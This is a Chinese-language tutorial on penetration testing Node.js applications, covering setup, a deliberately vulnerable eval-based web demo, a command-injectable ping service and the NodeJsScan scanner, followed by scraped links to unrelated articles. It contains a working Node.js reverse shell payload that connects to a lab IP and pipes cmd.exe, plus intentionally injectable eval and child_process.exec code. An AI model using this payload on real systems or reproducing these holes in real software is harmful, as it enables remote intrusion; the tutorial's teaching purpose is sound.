从零开始学习渗透Node.js应用程序
本文来源于i春秋学院,未经允许严禁转载
0x01 介绍
简单的说 Node.js 就是运行在服务端的 JavaScript。Node.js 是一个基于Chrome JavaScript 运行时建立的一个平台。Node.js是一个事件驱动I/O服务端JavaScript环境,基于Google的V8引擎,V8引擎执行Javascript的速度非常快,性能非常好。Node.js使用Module模块去划分不同的功能,以简化应用的开发。Modules模块有点像C++语言中的类库。每一个Node.js的类库都包含了十分丰富的各类函数,比如http模块就包含了和http功能相关的很多函数,可以帮助开发者很容易地对比如http,tcp/udp等进行操作,还可以很容易的创建http和tcp/udp的服务器。
0x02 Node.js安装配置
这里我主要给大家演示在Windows Sever 2008 R2 x64系统上安装Node.js的方法。
官网:https://nodejs.org/en/download/ 下载软件。
下载完成后运行,然后一直Next就好了。
<ignore_js_op>
最后点击Finish。
检查环境变量:
<ignore_js_op>
我们可以看到环境变量中已经包含了
C:\Program Files\nodejs\
牛刀小试:创建第一个Node.js应用
我们使用PHP来开发web服务时,需要Apache这样的Web容器。不过对Node.js 来说,概念完全不一样了。使用 Node.js 时,我们不仅仅在实现一个应用,同时还实现了整个 HTTP 服务器。事实上,我们的 Web 应用以及对应的 Web 服务器基本上是一样的。
我们以创建一个输出hello world的Node.js应用为例子。
在Node.js中,我们以require指令来载入模块,既然我们要创建HTTP服务器,所以我们要来载入模块HTTP:
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
|
var http = require( "http" ); 然后我们使用http模块的createServer()方法来创建服务器: var http = require( 'http' ); http.createServer( function (request, response) { // 发送 HTTP 头部 // HTTP 状态值: 200 : OK // 内容类型: text/plain response.writeHead(200, { 'Content-Type' : 'text/plain' }); // 发送响应数据 "Hello World" response.end( 'Hello World\n' ); }).listen(80); // 终端打印如下信息 |
命令运行脚本:
<ignore_js_op>
然后我们在另一台机器上访问看看,注意关闭防火墙:
<ignore_js_op>
0x02 服务端代码注入
Node.js的代码注入与PHP代码注入差不多,同样是围绕着eval函数,所以,如果在你的代码中存在eval函数,而且其中的参数是可控的话,那你就危险了。代码注入漏洞的危害很大,可以直接获得一个Shell。
demo代码:
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
|
var http = require( 'http' ); var url = require( 'url' ); var util = require( 'util' ); http.createServer( function (req, res) { res.writeHead(200, { 'Content-Type' : 'text/html' }) var params = url.parse(req.url, true ).query; res.write( "<html><head><meta charset='utf-8' /><title>Test</title></head><body>" ); var a = params.a; var b = params.b; var s =a + b; res.write( "结果:" + a + "+" + b + "=" + s); res.write( "</body></html>" ); res.end(); }).listen(80); // 终端打印如下信息 |
这个代码就是计算输入的两个数之和,但是两个变量的类型都是字符串,所以相加的结果是字符串连接:
<ignore_js_op>
这里就想着用eval函数转换输入的参数类型。
最终demo代码:
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
|
var http = require( 'http' ); var url = require( 'url' ); var util = require( 'util' ); http.createServer( function (req, res) { res.writeHead(200, { 'Content-Type' : 'text/html' }) var params = url.parse(req.url, true ).query; res.write( "<html><head><meta charset='utf-8' /><title>Test</title></head><body>" ); var a = eval(params.a); var b = eval(params.b); var s =a + b; res.write( "结果:" + a + "+" + b + "=" + s); res.write( "</body></html>" ); res.end(); }).listen(80); // 终端打印如下信息 |
然后得到的结果就是两数之和了:
<ignore_js_op>
但是因为使用了eval函数也就导致了代码注入,我们可以构建一个反弹shell执行。
反弹shell代码:
01
02
03
04
05
06
07
08
09
10
11
12
|
function tan(){ var net = require( "net" ), cp = require( "child_process" ), cmd = cp.spawn( "cmd.exe" , []); var client = new net.Socket(); client.connect(3434, "192.168.146.129" , function (){ client.pipe(cmd.stdin); cmd.stdout.pipe(client); cmd.stderr.pipe(client); }); return 1; }tan(); |
我们先使用nc来监听本地端口3434:
<ignore_js_op>
然后在web端利用漏洞进行代码注入:
<ignore_js_op>
然后成功反弹shell:
<ignore_js_op>
0x03 系统命令执行
在Node.js中,系统命令执行漏洞一般由模块 child_process 的函数引起的,child_process即子进程可以创建一个系统子进程并执行shell命令。
demo-创建一个ping工具:
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
|
var http = require( 'http' ); var url = require( 'url' ); var util = require( 'util' ); var child_process = require( 'child_process' ); var iconv = require( 'iconv-lite' ); var encoding = 'cp936' ; var binaryEncoding = 'binary' ; http.createServer( function (req, res) { res.writeHead(200, { 'Content-Type' : 'text/html' }) var params = url.parse(req.url, true ).query; res.write( "<html><head><meta charset='utf-8' /><title>Test</title></head><body>" ); child_process.exec( 'ping ' +params.ip, { encoding: binaryEncoding }, function (err, stdout, stderr){ res.write(iconv.decode( new Buffer(stdout, binaryEncoding), encoding), iconv.decode( new Buffer(stderr, binaryEncoding), encoding)); }); res.write( "</body></html>" ); }).listen(80); // 终端打印如下信息 |
演示:
<ignore_js_op>
命令注入:
<ignore_js_op>
0x04 NodeJsScan
NodeJsScan是 Ajin Abraham 开发的一款静态代码分析工具。它使用了大量的正则表达式规则来扫描可能的漏洞代码和不安全的配置,同时允许用户扩展自己的功能。
项目地址:https://github.com/ajinabraham/NodeJsScan
此工具是基于python开发的,首先我们需要安装一下所需模块
pip install -r requirements.txt
所需模块都在工具主目录下的requirements.txt中:
<ignore_js_op>
注意本工具需要postgresql数据库,所以我们还需要下载安装postgresql数据库。
创建数据库:
python createdb.py
数据库设置在core/settings.py文件中
运行
python app.py
然后在http://0.0.0.0:9090打开,注意要设置DEBUG = True
<ignore_js_op>
0x05 总结
大部分的漏洞都是源于不安全的用户输入。所以,要坚持一切用户输入都是有害的法则,针对用户的一切输入进行过滤。确保使用了合适的中间件来避免不可信的流程。
0x06 参考文章
从零开始学习渗透Node.js应用程序的更多相关文章
- 方便大家学习的Node.js教程(一):理解Node.js
理解Node.js 为了理解Node.js是如何工作的,首先你需要理解一些使得Javascript适用于服务器端开发的关键特性.Javascript是一门简单而又灵活的语言,这种灵活性让它能够经受住时 ...
- 在 Web 应用中创建 Node.js 应用程序
本分步指南将通过 Azure Web 应用帮助您启动并运行示例 Node.JS 应用程序.除 Node.JS 外,Azure Web 应用还支持其他语言,如 PHP..NET.Node.JS.Pyth ...
- 用简单的 Node.js 后台程序浅析 HTTP 请求与响应
用简单的 Node.js 后台程序浅析 HTTP 请求与响应 本文写于 2020 年 1 月 18 日 我们来看两种方式发送 HTTP 请求,一种呢,是命令行的 curl 命令:一种呢是直接在浏览器的 ...
- 学习笔记——node.js
node.js的作用在于,号称可以让服务器支持更多的连接.比如说,php + apche可以让服务器支持4000个并发连接,那么node.js + apche可以让服务器支持并发几万个. 为什么这么牛 ...
- Node.js学习(Node.js基础)
1.开发环境搭建 v8引擎是作为解析JavaScript程序来运行的 nodejs是一个高性能的,第一个体现在他的JavaScript解析速度很快,v8引擎性能很高,第二个事件驱动和非阻塞 2.全局对 ...
- Node.js学习笔记——Node.js开发Web后台服务
一.简介 Node.js 是一个基于Google Chrome V8 引擎的 JavaScript 运行环境.Node.js 使用了一个事件驱动.非阻塞式 I/O 的模型,使其轻量又高效.Node.j ...
- Docker学习之——Node.js+MongoDB+Nginx环境搭建(一)
最近在学习Node.js相关知识,在环境搭建上耗费了不少功夫,故此把这个过程写下来同大家分享一下,今天我先来介绍一下Docker,有很多人都写过相关知识,还有一些教程,在此我只想写一下,我的学习过程中 ...
- 高效使用 JavaScript 闭包,避免 Node.js 应用程序中的内存泄漏
在 Node.js 中,广泛采用不同形式的闭包来支持 Node 的异步和事件驱动编程模型.通过很好地理解闭包,您可以确保所开发应用程序的功能正确性.稳定性和可伸缩性. 闭包是一种将数据与处理数据的代码 ...
- 让我们一起学习《Node.js入门》一书吧!
Node.js入门 读完本书之后,你将完成一个完整的web应用,该应用允许用户浏览页面以及上传文件. 里面对一些知识的讲解,让你略窥Node.js的门径.最好一段代码一段代码的写下来,我的习惯是手里拿 ...
随机推荐
- ios黑科技
1.brew brew 是 Mac 下的一个包管理工具,类似于 centos 下的 yum,可以很方便地进行安装/卸载/更新各种软件包,例如:nodejs, mysql等,可以用来快速搭建各种本地环境 ...
- python 列表、元组、字典的区别
区别: 相互转换:https://www.cnblogs.com/louis-w/p/8391147.html 一.列表 list [1,[2,'AA'],5,'orderl'] 1.任意对象的有序集 ...
- MYSQL性能优化(3)
优化数据库对象 1.优化表的数据类型 select * from tbl1 procedure analyse(16,256) ,会输出优化建议,结合情况优化 2.拆分表(仅Myisam) 2.1 纵 ...
- linux中open函数使用
open函数用来打开一个设备,他返回的是一个整型变量,如果这个值等于-1,说明打开文件出现错误,如果为大于0的值 参考格式 if(fd=open("/dev/ttys0",O_RD ...
- CDialogEx::OnPaint()的问题,或者为什么在对话框程序的OnPaint中绘图无效的问题
这是一个基于对话框的程序,对话框上有按钮,还有几个CStatic用来绘图,之前都是好好的,今天改成Unicode版本后,编译正常,运行时CStatic中的图像怎么也不显示,有时候会闪现一次就消失,问题 ...
- Kivy 从memory 读取image
借助PIL来处理的图片数据 fp = BytesIO() img = Image.frombytes('RGB', img_size, buf_bytes, 'raw', 'BGR;16', 0, 1 ...
- 你不知道的JavaScript中,读书笔记
七种内置类型 null, undefined, boolean, number, string, object, symbol typeof null === 'object' // true nul ...
- c++ 面试题(算法类)
1,从无序的数据流中找到其中位数:(用大根堆和小根堆来实现) float getMidimum(vector<int>& nums) { priority_queue<int ...
- 11. Container With Most Water (JAVA)
Given n non-negative integers a1, a2, ..., an , where each represents a point at coordinate (i, ai). ...
- PC滚动条样式
#jmwin2为外部容器 #jmwin2{ width: 90%; height: 65%; background: white; position: abso ...